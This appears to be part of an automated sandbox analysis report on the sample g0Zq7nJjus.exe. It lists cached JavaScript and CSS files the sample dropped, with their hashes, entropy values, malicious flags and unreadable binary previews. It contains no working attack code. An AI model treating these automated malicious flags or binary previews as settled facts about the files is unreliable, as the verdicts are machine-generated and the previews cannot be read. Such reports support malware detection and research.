Preview:	var W\|E.\.+at.f.(..5_Ys......oD5P>#..e..."..L1U&z.q.^...,Y.M..A[hu3.q.'Q..:..:....o(.L>....Snc...!..d.......s..Z.4F.........A..-.a.@.D..r.}......`.,...).0.../....D[...K....%I.../4....Y..q.D.76.,._...?.I.v.......w...?\aHX.Mu..'.b..\J.~$..R-...Z.&-..}...gP.._..=.5....`..v[....w.:.< b.N...gw6......].7.Gk....Fj.,....E..u.....T..T.Ve..'.....}@..>..e.O...J..b..v....._..n..#.,x....K..h...<.W...L..P....;.lu"g.....-.-..q..+U...%...Rr.M..J..@4Q.......c..X$]...9......}.p...+.XY..X..]=..k.>.w......1..,...q...s.....^.w...uo]B..i%..C...........P....;.nVC..p...f.....4.I.>.=W.M..h..uX:.).7..cc('v.}V[........E.".....Q.O....+~..2....(......^.K......1zI.z..2a.L.K...87.xz.X\|...I].........O.....9a....VZ...qL.~.e'.,.ry..0....o.\D.a....".E...yC...3B....V...C.1....gd..?....G....?.....9.76.N ....q..C-[..bP.s@..0..q]..y."!.h.mZ]...."..Ve.....]~C&.w...@...eR...5..&.-..R....0..`...s,....*......O.I@.#On.F..:z.M....u.`..#..(.....x.R_...?...zK...

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\hAbWEdFpz7sABSGHo92EV1SPXRQ.br[1].js

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	172728
Entropy (8bit):	7.946603242582289
Encrypted:	false
SSDEEP:	3072:DQwzZPuFvVXwkSOCocrUbNRfPvUatPD/VrcFrR9MMmkWMWO8c:/zVuFvVY9StbVr4rnR
MD5:	8D5937CB113FC478A5C94A3B4725F534
SHA1:	E421727C4C9F1871BA3319666DF4686CBBF92B98
SHA-256:	CDC79EC17F625C9AA4FA592A580702D405A81B6AD8AC6B55CCE1EC1A1165D2BF
SHA-512:	331792063F099007E20687A25FE92CD39920C7AD56F4B8444C9AECF8E551CB33627A531B5F1C5A4F5B415A5E4AD5F818EB0D86B57992A99C970F97394F6FA83B
Malicious:	false
Preview:	"use G\.y.-`..Q...6..a.T.."..{.......a.f.;.....J...3.3vF\.0.l.<b."...^..j..?..3!q.N.?..M...Or).GGG..J._A..l.Bd3..d^..U..#9WL@EV.!7.k.......9.q}...).U...G.u.a.i/o.iT..!..P.IzB..[...nG.o.$..P....(..Qp..H.R.`...`.Gz..Q..].Wq..s.?;?.W...lQK.2......A.H....o.F3......J...xp.....O.<-...1.c.........K$+..A....A.G....to...=9sfQ......^.E...m.m.j.FH.;t..J..$./P..W%."...5..V}^\|...........\|.f>.\?.Z..X.~.....A..Q..B:.K...%....C. T......2.OF.O\|..C.4.)A.....#..j..%.p...}.x.N....B}....8...5.6T..E.U+/.j.......\|..z5.......x.t..D/+...j..O.4P. )w4..'og:.K..]...k....+...q\\.l.K.L.+..ZY.;M~..?.~...s.......6=J....2.>.e....\|b\|$G.nBb.$N.c8.n....)&z...1 .<Rv..d`T^....5..w%..B.N..`...'j .%cK..o.j.......B.~.....aZ...]..V..%.9U65d..bn.x.....\|Z.}.+B.u....i!UeI..h......\F....>I8c.^......#..#..'..}...~7.v..B5..f..2Cp...f....K._......r...T.....4..[.b,..+.R.>.....0.,.x..x.B$v.<#..c&......&.n....C[j[`...Q..(....&..:....ku,..J...Nt9..V.........C\YW..V....i .........\

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\j5xZRlJccnLYwHvUyxqh_abmeEE.br[1].js

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	14700
Entropy (8bit):	7.987037976750885
Encrypted:	false
SSDEEP:	384:e1pspnkVSbZLOLWLQEENqBRhCS4GFM+u7Yju3rhJcZF/w7:ODV0Z6AQvq5CS4uJVko3i
MD5:	0E7E17E5DA50B70DF720CE344F3D4B52
SHA1:	73D4735C7751413CB72DF7ADFCC49D3262186D98
SHA-256:	EBDAA8CB70269F8053E83D8A84C773FE63EA2B2122C59E3FD877F0F76BDD4193
SHA-512:	D87748146DD4A9FFE0D29EBFD8D29DE6F4FF7DBD45D651247094F9113CABE63DF8951A961430733F24A6AAB1AC08D13AAE552E2EF387DB8E94BE7BB5542194B8
Malicious:	false
Preview:	var W*.....d.q:..H....U.......A...,;&{.'0.....w.<...&.....v.....h+KAa..]..! AN..9.........!.l...c.&......dL..S.......S...=y.w$0.Ze{...&.Kn.v..,...7..,.R3w{.}P..".W8.l..#.$bF..-,iq.g.JG..7..3..+..3..kI..kf...:.K..P1....s0..T......8.io.i".S./....\..8~79#J......"...mE.[.[,r.uS......P...,#K.D..._..).r..]..<a..7.p..i....a....a@C.T..{..T..L..~.o..s.'..p.^..k.'L...V.h....2..q....u.. .$5`...-.....?Z0..)L......x.t.x.l.{..u..g..0..6.0g.....E.h1.(.Q.. .n`..R......x..la....E"..)......G$U....%.Un..3...T..Q.t_.r..[9..X.b.%.M.....?...4..A.{%~...,..1........E.#.}^b...F...t...BL..q^du.LK?..xxr...\|.X..~..r..<.......g.P......5...8...2.@....x.s.ms#...\|oL..k+.j(v......X.......L.9...C.^.$,./g.<......R.,.v............hy9.yf=.V.........t^..T.....hT.`.W3.c.....d[..B...<...,Q..."K.D........\|m..RhU...no..Evr.z(...3VRXM.h.A..@<...7.p.9.\o.V...z..\...=.........2...:#/.,.......4...6.a....R..%.........1..i'x..w...);!...T.6YG.Lem.j:..X..E...;7..H..I....)D..f...h9.\.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\l1NajuxeuQ3qDy6uCL1VS6rO4Lw.br[1].js

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1825
Entropy (8bit):	7.886852453452937
Encrypted:	false
SSDEEP:	48:cUgV4+jnLle1DzdJAQUjrYKLteZq3gUqfQatD:c5V4+DLM5fAQUrhgce
MD5:	0D0A965F2E192443DAC0424EA97078DF
SHA1:	D21D2C4E3174879F4BE085844354967C63DF81B6
SHA-256:	0286A0DCAD7974040C2E2BEA0AF1999CA3B9A14E4EC2D075BFFBEE0D2E6ACBCD
SHA-512:	FD8C8D56CF4A1230942FBCBD485916FCDF1869758AE537DCD4123D1472616BF899C0DDC7B5FA3D73BD912294AA14945DDA1210AF9E4B557510C1C824AFFFE270
Malicious:	false
Preview:	var W.C?#L.6..QU.X.).MR=......0..)X..L...8_...4/zY.+.M....\m.@..!^#...z.9e.#.3g...}I{L..}.4%....h...5Q..#.f-.8...>..F.......F9..`K!.h.+R..D\|.....<.D................H....$..>I.F<T.........KT.m...g...uU.Q...).X....=.Gm.L..JPq...\..=N.K....>..zC.t......r.f.{.U ..N0.]_5.....X.6e....(zX..T.Y..k.[^......m<T^c...{.k.1...9Sy.....).VO.~.......!..T..C..<.... .........b....$...N.....1.f..3 .........NY......LX..k0....-..R..N.'g!y...G[........{_8jCs..(...x..J.Ww...XPeZ...[{.PA.u....8<.?.(&Wq.qf...d.g.xj....N.....)..N5...B...8.p..F.....R....I....1.Xf.././8..yf..\3.^.......xd..oX..[.O.".]...yX.p...J.%.O..N<....c......[;......e.3.bl....h....U#.DsM.h.....{0:h..EB5R..;(..JX.W..3:l....j8C.N...f.q4.1 .+.G7.n}I..Ty..V.{.c.'...@6+..y..1.I.k<uV..s.;S .b.$..K..Y..Y.zuOd=3.;.Vq....lt...z.._.8...E.g....P?^...9....&.......d...0...}f..l...4\....g.C...=....Y .@.W...o...........6.xE.T.s....]....Q.f..`.`.mt.@.:......k.7_b..{........$dw0.M..E...;.IP..e..."e...d."...

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\lu0mWeI3G2l7mRreeuIGIzuL1cw.br[1].js

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	7794
Entropy (8bit):	7.975254518257083
Encrypted:	false
SSDEEP:	192:VaaGfsD8uoXhJN60PyBTZD3GlnGU/dVQYr6jbCJIA8j:Vaa3SJxPwTJ3GvVmFR
MD5:	35D388BE823F52DF972C2B3ABDAE2730
SHA1:	0D229BA14A70BC76D1BE1DE06079F1C4AFD8899F
SHA-256:	5205FFB5A43AB4DD4B11D199853D217B44EB7213985D13B6E9FB78A7D4208053
SHA-512:	E6A4D9A9146CEC5BDE2EE9844176977E2EF71A0AC9CB51B8EF595EA1A3F1DC9A753D44DC18C7972BD3553BEC8BA8D9112C8FD63E4D4C0482928F5AD2F0D67ABA
Malicious:	false
Preview:	var W..../f.`5..:.#R.[.G.P.Xr..o..)....}.....f.......#N..../.u"..>..3.%..2.......e.b@J'...k.!..Fw.%O.....9.L.Kh..........X...B....L.\kD....f..+<r...\|(..u.zd.l....-..v3C....f...H.-..\.&...)....5....>.../.2.rj.{.....^...g.szd.(.....N7.S..t.>~y.`...T.g.4+....0W....o...[".9.a.@FOp2..T.`.J..".......[e...53..2.,..ag.............../.[;'..M.......>.J.... .Z...2..UK.&.Z.T..#...'k...N....8...v...US..\...[.=..5.-aT.:(..]...\:.W5Q..u..}.........g..Sw. .6.y.<&U....3.;....Y.1.....#...../..@...t....j0.)S1.....l..H.G~zt..d..G.@.....Q....5X]......-.S..\|.}w.yG_..O.t(.......F.......5.X.$0.....j4..84.q..,.a...X..`........'...Gg/.B.}.[..&H...... \.....S<..aMPV.\w...d!../..z.x. .O.$.....w.R.>."...!....z.Q...f.Y.....xqmR..../.&..&...r..q^...a..D.l.!................1G.h..]..[.k...>#N.<...i..8.."."..3.8....>.M.....:.<.I ..w..._.....zK....f....^{..7a.`D.dl1Z...cr.,...X..[..B%.Y....7!..^....dk).e....A....m.9I.>=w.Nz..V.b?Bg-W..5...p8.F9.......0L.a.....zS...IR....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\mb8fkd60iW7q4wvyDIlCm9OOn10.br[1].js

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	44680
Entropy (8bit):	7.99622024437891
Encrypted:	true
SSDEEP:	768:uHNTlNOJ+BvOIc6Yq/etrXNoeihk/4V7cQAPCnOcmFhILpoi09Pbnd1cIGZ+Kx+Z:utTlBBvON6petBkGPqOcuhPi0xcyzPF
MD5:	C4B6B3E65727CC1144044504E7BB0825
SHA1:	EAABD375A776344D77A39291DFE4225ECC91407E
SHA-256:	29E144A965B7D3240FB986AB5AD6248AC38E9D42C5E80BAE7D9AF69D65711BF9
SHA-512:	DB80B47FBCA557133C361694D9CFA231D9A80531D330AE8E2D52B64743D18208F8CEB172623449E2D6B2C05E216FAF4EDF1B7719D7D3B0BC6D3936B6ED9E791D
Malicious:	true
Preview:	var MC_...W&I..........<..0....8N...T..Lof.......:n..:.o/X.....O..I."...I.#O/.f..B{.N.u.l..0...[p...f......E......0....5.......5.1...N.T...B.1..-.c.&@ul.j..Sv..'.........6....)..+..LZu.G..H....q.A.CbD... Cf...h}_z..hF..X....Ca..I....l....<=M..\....,d. ..~.2.N\.u......].v......9..T....n.dx.f.v... .....1..>..}..@.i7..Z}....(.t.wz.{....!...J\|.\|N>./EC.Y.>. >.<d..t...6r..o.....2............o..ye.t...d.d.%.gK.2.#0$..?.wH.p.J...V...,D...4.g.. .G....qu0yJ.ibC..^.0.I.....U../j.h..~)N1.`.sX...4g...5...pF...6(.p.H>).4...}a..7.+...[.f.2.....3._.R5<..v.../.q)VP .3...........1..#^.Oxx..W.. .-.......A......@..0.(Dr.......'G.r.bR......h...`=...\Z..2... .erc.]=.......>...GD."&..t..M.oo/.;.H~..d9.k..=...H.)M....I.}...........4.B...(....S.8...J.._"..>.(......Zr..,3...I..g.B^<...{....+.2.[A...U.R..c5.f..... ....R-.....^1C".O...8...P{.\GV...+Ud'......4...l....5.....V.P....&......Vl.]..I..rr*.)0...i\|..j...B.vi....9.....$.....,.<...L..\.....x.FZ(s..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\n7LMSoHYYIBGa1VPMlnTzxBvlfA[1].css

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	6235
Entropy (8bit):	7.9727546738695425
Encrypted:	false
SSDEEP:	96:DfO8mDuTp6ojOQZheRFKTnbjfV9hINtzcsDAdNfbYnHku+8qWpGFC0Q0T:DWfDut6i7rgFyVu4jfpuhqW8w0Q0T
MD5:	6AA036EF678313CA7D137D354F1E40A3
SHA1:	720F433C1B23265B51240A271E53F046A2DB5581
SHA-256:	764788C5B4BAE5CF46DF3A2DACD4093F30A879DEEE9924E0F10DB01E86E5A96B
SHA-512:	12724B0169EFF8454CB0190D3B53F63E2954B7D8AC3C4EF3E000D5C11A0405717097C329EC79F1F82848AD32DA839FB05E1AAEB22E509AF4511CCAB60D75E7E7
Malicious:	false
Preview:	.b_se..D.A....h;....x..r.,........m.."..P.I.)l=.....37.K..q...2Q.@j..n..........o.+.'....(..+C.z.......?.o.s.B.n].9...P.b...-[......g.<...`.wk..."IN.-../.d&.....LR.E+...Oh...iR..0\%K..F2.t......U0z.......Y..Cb.2.....1yl.....9.O.\).l...~.TNy....q....S....1s...r3.H....`y.f.1\|.+xF.)l.2.G.0..(.C...r.I.g.6P...+..i.o..>H..43/........./..eG.A......y.z..z?r..9:.)...q...v._<..@..g.z..rg7_.;Y.a`a..;...$$<..C.k....x...\|.....\|......'.....4x.E..gW..V......!..%i-f..B...Pwd...E..m...A.../..Y.....g!:..S.l.b.x......vH..Wb.v...TF.,l...F.... ...K...s}..P....??cYx.,'hY..m..Z...<..iK&..\::.......d..w.=._.).D0..%.T ....#.C....0..e....h.W..$..E....1....,.....OeY....X....".. .{.ST.u......\.b.)...Hp.C-.A.B}5.R.......=...I.8.s..o..\F..'=....\|....N.;N....."Q......[\|y.p..P.e.j.w.Zf..'..I".?.9....?UC.....x......+..$..].j\..[...Uq'`.....&I5....+.\|."....#s.nw....*.{._...m.-.e.{...m.6.....a.>m:.>;.._..FB.PN....<......JbU..~.&.e~.T.X..c..U.n._.)..;..B.>...?..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\onra7PQl9o5bYT2lASI1BE4DDEs[1].css

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	67448
Entropy (8bit):	7.997353983145986
Encrypted:	true
SSDEEP:	1536:RDDwBEoSTo3+uJRbI7thdAf2NObD0g+AV:NUqku4+7thdfw0gnV
MD5:	6F21886509CCD1DD2F5EF996D11AA34F
SHA1:	342DA07B95A050EC39DB2A614971E88FCA0DAFFE
SHA-256:	DADD31988AE8153379F48C5C85097876B55A081ECB3B48C7836ACBD55DE26356
SHA-512:	3FE66D34569E2FA78FAFD3CD07745A37DFF2C802DA77419410DB2968B57B5AAB4369B27F3A628FAB1D1E8B9272D6540B2C2377157757C34B3DBE8D5C99479948
Malicious:	true
Preview:	@font.2@H..o.P..RF..{t..k.>.."....I.~.+/+........P......0x......XW/.M$...mo......k....O;.82.......A]...;r.....).DYm..q..p.kn.G\5T..2...F.)H6...........o.^I.f6.........mc..n...9!<{~...J.M.w...uY.<qve.4.ej.].e.,`?b....B..d......,..]U...)..../.3.,f.6......V<?g.S/.~.......<........Y.q`7Zo.<.>Ci..A...M.......`G...K...T).R~...r"..A..Z....?..~....W7.....i.K.Jt.\|-..E.~...)4._..?..O.,..Cey]....n....y_[..\Z....)..U.'7.....!..x..\.Y.n..g.1.Q#..E...........[l.8.T]...[..34.hv.c=.Y....G_.{..1....{c..B......0<1.lL..~......i.3...#$.K...n.w.. ...2...q..;..V.Z..$..D...q..90~<..E..i..ea.>...z.~...6.o.>9..}-.dz..$.UM.#.4.(../1....E....`m.Y..%#....O.I.p%...Fh..N..i.....n]..B..Z.....{...Xu...\....[.....@......#......AM.@0.......{....RvkA..x.`}..O....h.b.....o.....1:..l.:....-..J.....R...~J.`m..$..+I.=c0.Jl^...bv. .=...{.w.G...pL.].35M.E..jq..+....M...6wS*8d..i.7..07O...N.HigoD........J.>.U.I%9.#.i....Y.\../y....#:.2(......(K3..7nID..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\pqKAmz-4RXsuUf_YO-8_wQDepUQ.br[1].js

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	40292
Entropy (8bit):	7.995739392354892
Encrypted:	true
SSDEEP:	768:/6ZOsKu/BCk6PCkFpi5UtFjEa18PvRZio6idahIMSbfXnLc9Bc3NsG7QIBukgzw5:CZ4upCk6VFfqXDdahIzbfnccdsG7Q+gS
MD5:	CA87C5B52519D7F902F833375AC9ED32
SHA1:	B3DCD70F82EC0595DAF0658A0B9E32C554C406CA
SHA-256:	BAFB9689A92B5374AED230F8F90CFB73E020413CF55213FF0A63743DF84B5096
SHA-512:	5074D0501EDE0E45C11BBFE1F5C4C351C7A23AB8BAF5BCCEA88370C557373AE8F3F7F2F5D87BE779C751BD7B950DB6F1C7944A34AC41139545959F0198AD5983
Malicious:	true
Preview:	var W/S.V3.p.V)......n.{.........Zh....c.xx...Y..RS))m.q.....$...%.K+\|i..p....?P...(.+N/.....oGp..W..;.F0.BV....).{.j......<.O..\|..4...mG.#..>.+.<..[..\|'.Q.]..q@a:i......M8..t.z...v...v..uI.S......-....K..C\i5.......,.Og...Rx.....^<Y....n[".^......DpWQ.#.!........RM.=..........W.D.......?.8...:I..aY:2....=..\|.(4.....2.F.A`p......,....z.c_.....#;Q.$..}.@...v..#..a.....'.c..^.....~t....=.6RM.]..0...!.lRH..+(]P...OpI.%.....XZ.....4....S.......;k;.LM.......)T.....}.!.2....7.\|b.."j.&U.DTz.S...l...R.V...=8.J..4m.R..\|]....A=f...T....Z..<.=.=ie.;0...E....=.?.!.....$...%.G..q2...D.B...z...z..Z}n+.bn.....X.8..#..E.b.... .Z....g....Z^........8B.\...9.ef..P..Y`.=s,7@....."Jk.......{&.Q...\|.m..-....@.Q.$..?......:nN....#..1......CwFoF.x.&....hZ.V..u..s.x.].%..p...../.lW..t.[.c{$....h.....,F...d.6L...x.M..N...M{.Y..4. .^.V3.,.a"/{.)..J."5..5...-...7z#.]./i.S7....Q]..DA*4.l.Z.P..\|.1.b.0.H.o0..j..Y......E..V.?..L.FW...h.$....4..\.u...!

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\q11NvYzJks_3Zy5BRKPM9baeQ7M.br[1].js

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2193
Entropy (8bit):	7.906112715839477
Encrypted:	false
SSDEEP:	48:VyIApz1zxposKF33lmJX5tU7nEUZBf3ju7SmLjg30jaD:VyIelMVF3QBU7f3jl0jy
MD5:	AD7AE32349924732663B53D9C088AC1C
SHA1:	10EDD940E55FFA3BA3B9A55CD4D0506D38B968C2
SHA-256:	55CB5223F2D9378097D2FBE16C46190BCE40F509AEA53025C16C008D4A4C84B4
SHA-512:	4B5FE9649AEE631623AFF087E79F55049E95F2B2541CC001E36DC5B8B9225081FE6A29DDA1ADE6C6F8DF26A9A0CAFA4E07EE65E1DCE18D27BB9B21D0D1BB76F0
Malicious:	false
Preview:	var W..=\.u..yD..s.G,.(...h .k..0.nI."R....T..!....j.0Rc.).'..D....Z....`8.n..<......;nKB.......q...o.>.<F...f..+a.R-..Ec.e..3...k...l..k.......wg3.e..#V.X..3$y=.~..-..g7..lA..dc.h.F?...i...0.3...._#:..&.].....\ .....e..R&hD=....G-..k...].3_T.0.....w...o.!;.o...=..gv.......o..)..]....r./6O.O.......c-E..~......$PeR..+.. ..7U.`>.........0!Q.._b.E"}`............kv..(.T.....8.$..I.%W..........'.W#...\|.-.P.+...7.T..%\|8.......K..j.,O#}..WK.F.a&...:\p..1..]..d.....9........`O..Um.4.........;.ue..Cv.s'g.........t......rE.;'.....h'.y.......o..H..[).W.s.(.R..F.X.>$h.e..(~.M......y..=_b...Q.H..../...p...N\.C!.I.r5Wd\|&8.J..........$\Ne.k.(.~....E+..`+jXc\|F.4.q...{....Z.........?.....W<...e.rt..dajW.(E;...[..e.g..U.......~(\|R..\|.!..W..?.?.&....I].....<.L......<F.......0...f..9....U..6C.g.....WI`A..A....V....g......w.../.@...&g.............g.;.o.....PjF.6..S.\|.......5.S..4z..Kk..a......f.7......S.N.2.T.'...".l!......N.E.c.l.+.......I..z.?.x..qi=..K

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\rUQ8SSsIzKcgb77SIOCfnAbpfB4.br[1].js

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	447
Entropy (8bit):	7.508593290742324
Encrypted:	false
SSDEEP:	12:DkNCtiayRaHmIge9P9PZM+q4pANSbvqeQtaZWSUdNcii9a:DWR/aGIgG1P9q4aSqwZV2bD
MD5:	32E68222685423E69A14A2325FCAD31D
SHA1:	C014840D501FBD6BE0D4BA101B14A1CC254A586C
SHA-256:	391C2C0EFFD51457397AF1C9C88E17D461E9EC2F52950DD67F69F36F27BB8245
SHA-512:	E64BBCA158877C709165C956CB72820DC492046B7DC73E8EBE78BC09C2305B00AA0E7D0B81EA3C8840FC0E1975D7BF0AF178023BC4AB3FE1F4D353F2888386B2
Malicious:	false
Preview:	var S.).R.cy..,z\...I,X..U.....B.....-ac..s.g{..o<..B....t....T.:......o._i\|q6...K..~...../.C..g..E...X.....C.=....@..0+.<....t....>2.2.OWX.....o..qWcn}......#..8..B......>..D.v..c.yc....p{..D$}..3.&d..._..9...PE.....d....T)(..sR.o....l.:L.s[.&....Bzed..<;Ez.g?...j....3yr.=.......l.~..=K.S5..]`.... 5.?....@`....-..x..9.%............:..&U..G.c.zmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\tIa_X3QDXj2Izj2HpQ_Mo9f1WiM.br[1].js

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	126434
Entropy (8bit):	7.998594797538697
Encrypted:	true
SSDEEP:	3072:Do3tk7ov4NSreDnPYBUFsOX/3xe+Z75VxboCfIyOBx:Do3tmSKDnXeK/z75V15fHY
MD5:	D858B10FB3FBBE8201D7F2612818F797
SHA1:	595EB8BB9A7B58DAF34C71F8B2D853A3B2749D38
SHA-256:	17D0D93533748D986BCB37D7252B815958A403459873FC9371C979BD53AA2D19
SHA-512:	74F7F59C7CC17748987A46A4A2A8B07E9A13C34B608006AE5525975325DDECC24B02F32881976F995AC475B238402D8DE8A93740E587ADBDD9E618CDE1498427
Malicious:	true
Preview:	(func.....8-..K.n.......P.c.f..(..T.%.J...S..(....6.;..Iq........Z,,..C...+3..I4..<....ab.$..r@y.JM5..N....L.j&.~.Y.E..\..F^].......4t....@..uM..;r.}.5....s......cq@......x..... )..vJ.m$....,d....q$j..4.UbkN..u..^.U.`...\|../.KG......./...F..+_......y...s.x.=....d.R......W.!S..e..7J.@n.oO_....6w..Vr..B!r.#+...........O/.-:[.z..u.#..=...v....}.)..{.H@E\..0{.8..D.6.V.z...u.U\|.).....J\|p...2b9~i.u....{,....).....KG.Y9......%.h#.K........)5.......>1...A1..z%d..6....h0...tx@...E.R.......k...."...._.=.)." .x.. .R../).4..Y]..,....w.0.C.B.[R...=....A......-.[.PBw..%....[u.$.,......Y.1....jb.jf5z.5.o....&...xpw..H..V..O./..T...,....yi.U.e..J...%.z.m.v-.~....Z.;..SX..X.M.ji......2.T."....n.5l..........\|/9I.j.1..........>L.l.....\..l.V.L.CS..@..M.....=Q..')..KVk..4.....rw`5...Rt.u.-...k.f.q..kR...Dpq.U.v1.........H..R.I.@....\yFt%B.S..K^4...e......R.u..'...".....$.*...O..L....!')..vW....v. _.....eh.pt..D...}..../..f"=A..7.p.t.n....+........4\|N..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\u6a26xOewOMoU1ZXcaLiQPZApTU.br[1].js

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1949
Entropy (8bit):	7.892621454073063
Encrypted:	false
SSDEEP:	48:mpWe40Okn6zfYfgTbr+sJjgHYAYD3lf29SIApluWW8T6sD:mx4tknGYObqsSWVe9SFdWHI
MD5:	C3E46C9991FCE59A45BD7B5F514BFCEC
SHA1:	367EFB039DB348ED74C4848DCE69C2911A4AD866
SHA-256:	1770D77E5AF332C2C75B0DC96CCCD138A62B845BC7A7D0DEB4CC84106FCBD566
SHA-512:	A05735EC1D316CFD0CF487D6596354BFBA4863637BF71A79DE14266F55C51601BA9B08E016A081237A657B792B3A8AFB527A61C6F83C3C1267E9E32A80BCCF7B
Malicious:	false
Preview:	var W%....... .T..J....X.\.WEx.`..-.rn5.L....D.PS.-b.=.%....a..=.....$..5-..=.-...lC.\|JD.....v.@R..0......_.X....X...~N..#....."..,.8z].)....S...(..!C.....a.O=..V...&jr...;w,lFO..kK...../.~e....K..LT.\.=..r .}..sy..5m..).'(...&...'.l..5\|..T..wp.:jc.gT.E..iM.....(..(.......^.Nfy..$....RAB....!..........._w.....=.~9e...mL........d.[..Z.j6~...."..S..!.C...i....r.......H^...&.tW%........5..G.f...K..<.I[i...D.B..0a...F[...g.........8h....h..afrU<...I...j...wI....._...E..+....!...7..4..A.q...l.%.(.}r7..apL......Q.bt.......c..X..-.......p.i.J......`.....g...Ff..H.`.......Nvlo{s.....D...X....J.....P.@7......cLb.A.N...Hg#.~)L.....T^N...t[AtP...vf.&)q.Me....t..[..@.eK..Q9'.....%....wHL....R0.ArVyz.r.g....HM.7t.<.....Y3Vg....S.I........B.0.j]..Q....E..k\...H,..g.\.....D...g....[...+......e..DAY../.c.s)p..m....U.!m}...ek....G...sF..1..].2.K.n..T......-...NN...P.L.0.......f/hl.\|....$.u5K..&.jx4..cjT.\....`@..&]...Q1b............T..<.ZjVh.5.V .c.>L)K

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\uANxnX_BheDjd2-cdR8N9DEWlds[1].css

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	20755
Entropy (8bit):	7.9917434705514845
Encrypted:	true
SSDEEP:	384:kD4TlJLV4uagVRNYDmhXiJO4gTGw2dMVrGdCmyc4efoCbehVqNoP3Ere0:kD4JJLV4PgVrYSSJO4QGw2dkGdzycLwy
MD5:	C68202C62DD590E41CC9CD5CD7D0DEAC
SHA1:	75D5507F64F390A76BC994CEAB53C1F5A41F5C45
SHA-256:	18A3673C5523E100D3F66140E6FD954C97CA9B171276BB0D44986E8C35700D62
SHA-512:	6C32E9BAF5A8A7FDEA92B51851266AE74AD017C08337ABA486DF6F0526A057E58EFB214B7881E7979565D1AF27D1E5402940872C962C64879693C67F02C18507
Malicious:	true
Preview:	.sw_p.]y.$.\|`..a....P.Z.PP-1.3_d{.IF.....N.J....9P.z.K.....?.W..v...{......m.~.9..9....G.m`#.r..=}.j<..%.BN....EAz1.Wf.............y,.._....$C\....?.t-i....pZ.........d..L..cf<......Y.Si...0..K..Wa.T........Ow....<.,...d..{...E..i8{..=&....L..^.S..C.Y.....l.^.9..1.MO.#..D.Xgr.c60.J.z..Z....O.<......1xg....Q....@..>...(.Z..J..$...x>....w..5.5..B.-....}o.G.\.x.s.........5........=(...qO.8.n.Z..........t..Y\|m.T'.J~V3..La....d...D....z..!.S..b.......\..&hd.+.z..W:.,...86=O.8.]...Q.#.......l..>b$....(...A.?......vjX.3......1.........HB.K......#4...b...~..>D..Iw..{.L.:.".....;a.....0.T.U..0..fX.y0.....e.L.j.-_%..`.M`..y}DF.............=x..B..s.A..S.8....g..s.? .P..B."t...2..`..,..m....j!.Q....{p.v...{q9..N.z..._@..)w.....V:.........Jg9..`.h.E.#.l....p.....^.#L....\|..;jw^....z6F=uL\.O.. L`...#..Y^.k......yV..j.]"r.qLR.i...{..A..J.......T.....y.'.....@*.&".%./...w9..(..x.Z..0....O @R.T...K].2}...Z.)$...,.]...<de.K..o..Ym.....D<.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\wokAADULDNIRJUcpGmEjmH9QAB0.br[1].js

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	254754
Entropy (8bit):	7.497136935996327
Encrypted:	false
SSDEEP:	6144:09orYAscGgDbw3Ubadcxkd4AC+NzIPZNKN9LfdfwA0k3LZBDYguVU:6orecjDb0U0UfAC+N5N9zdfj
MD5:	C226C33716ABB90B46A388DB9CF57FDC
SHA1:	4D5A890A65A9DD24E0C60C36D68201C64471278D
